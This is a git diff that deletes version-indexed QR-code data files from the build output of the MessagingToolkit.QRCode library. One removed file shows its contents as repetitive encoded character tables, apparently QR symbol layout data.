a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_3.dat deleted file mode 100644 index 9adba36..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv12_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_0.dat deleted file mode 100644 index 73d6117..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_1.dat deleted file mode 100644 index 9ae40dd..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_2.dat deleted file mode 100644 index c4d9997..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_3.dat deleted file mode 100644 index 2f33392..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv13_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_0.dat deleted file mode 100644 index 956dae4..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_1.dat deleted file mode 100644 index 5dd0e3e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_2.dat deleted file mode 100644 index 466b94d..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_3.dat deleted file mode 100644 index cdd2b21..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv14_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_0.dat deleted file mode 100644 index fcbb644..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_1.dat deleted file mode 100644 index 59f7ed1..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_2.dat deleted file mode 100644 index 3b86117..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_3.dat deleted file mode 100644 index 4e9aa0e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv15_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_0.dat deleted file mode 100644 index d835c66..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_1.dat deleted file mode 100644 index ab1be3b..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_2.dat deleted file mode 100644 index e34b2e3..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_3.dat deleted file mode 100644 index a91c7f7..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv16_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_0.dat deleted file mode 100644 index 48fd276..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_1.dat deleted file mode 100644 index 33f5411..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_2.dat deleted file mode 100644 index 0c3b80f..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_3.dat deleted file mode 100644 index c386c17..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv17_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_0.dat deleted file mode 100644 index f499e0e..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_1.dat deleted file mode 100644 index 8272c41..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_2.dat deleted file mode 100644 index 0074b18..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_3.dat deleted file mode 100644 index b8eaec6..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv18_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_0.dat deleted file mode 100644 index 28f6107..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_1.dat deleted file mode 100644 index 98af58b..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_2.dat deleted file mode 100644 index 60f41f2..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_3.dat deleted file mode 100644 index 7b98e51..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv19_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_0.dat deleted file mode 100644 index b941d48..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_1.dat deleted file mode 100644 index 11df757..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_2.dat deleted file mode 100644 index 851c3fa..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_3.dat deleted file mode 100644 index 1f300f5..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv1_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_0.dat deleted file mode 100644 index 12963c2..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_1.dat deleted file mode 100644 index 99d8afa..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_2.dat deleted file mode 100644 index e6074ea..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_3.dat deleted file mode 100644 index 60acb51..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv20_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_0.dat deleted file mode 100644 index 487b8f2..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_1.dat deleted file mode 100644 index 54003fc..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_1.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_2.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_2.dat deleted file mode 100644 index 3300331..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_2.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_3.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_3.dat deleted file mode 100644 index fa34452..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv21_3.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_0.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_0.dat deleted file mode 100644 index 444981c..0000000 Binary files a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_0.dat and /dev/null differ diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_1.dat deleted file mode 100644 index 690ff63..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv22_1.dat +++ /dev/null @@ -1,209 +0,0 @@ -hghghghghghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa_`_`_`_`_`_`_`_`]]]]]]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGGGGGHGHGHGHFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878765656565656565656565654343434343434343434343432121212121212121/0/0/////0/0/0/0.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!         hghghghghghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa_`_`_`_`_`_`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIGGHGHGHGGHGHGHGHFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:987878787878787878787876565656565656565656565654343434343434343432121212121212121212121//0/0/0//0/0/0/0.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!           hghghghghghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa_`_______`_`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIJIJIJIHGHGHGHGGHGGGGGGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565656565656543434343434343432121212121212121212121210/0/0/0//0//////.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!            hghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcdcdcdcdcbabababababababa`_`_`_`__`_`_`_`^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565656565656543434343434343432121212121212121210/0/0/0/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            hghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababababababa`_`_`_`_______`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGGGGGGHHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:9878787878787878787878787656565656565656565656565434343434343434321212121212121210//////00/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            hghghghghghghghghghghghgfefefefefefefefedcdcdcdcdcdcdcdcbabababababababa`_`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHHGHGHGHGHGHGHGHGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565656565656543434343434343432121212121212121/0/0/0/00/0/0/0/0/0/0/0/.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            hghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa_____`_``_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGGGGGHGHHGHGHGGGFEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCBABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565656565656543434343434343432121212121212121/0/0/0/0/////0/00/0/0///.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            hghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa_`_`_`_``_`_`___`_`_`_`_^]^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGHGHGHGHGGHGHGHGFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565656565656543434343434343432121212121212121/0/0/0/0/0/0/0/0//0/0/0/.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!            hghghghghghghghgfefefefefefefefefefefefedcdcdcdcdcdcdcdcbabababababababa_`_`_`_`___`_`_``_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIGHGHGHGHGHGHGHGHHGFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDCDCDCDCBABABABABABABABABABABABA@?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>=>=>=>=<;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:9:9:9:987878787878787878787878765656565656565656543434343434343434343432121212121212121/0/0/0/0/0/0/0/00/.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!"!"!"!"!                        - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - -             - - - - - - - - - - -          - - - - - - - - - - - -            - - - - - - - - - - - -             - - - - - - - - - - - -             - - - - - - - - - - - - hhggffeeDDCCBBAA 99::;;<<]]^^__``FFEEDDCC""##$$%%PPQQRRSSVUUTTSSR-,,++**)(())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKee__^^]]776655// ))**++,,WWXXYYZZONNMMLKJ&%%$$##"(())**++LLMMNNOOaa``__^^==<<;;:: 00112233TTUUVVWWYYXXWWVV554433228899::;;\\]]^^__QQPPOONN--,,++** @@AABBCCddeeffggIIHHGGFF%%$$##""$$%%&&''HHIIJJKKee__^^]]776655// 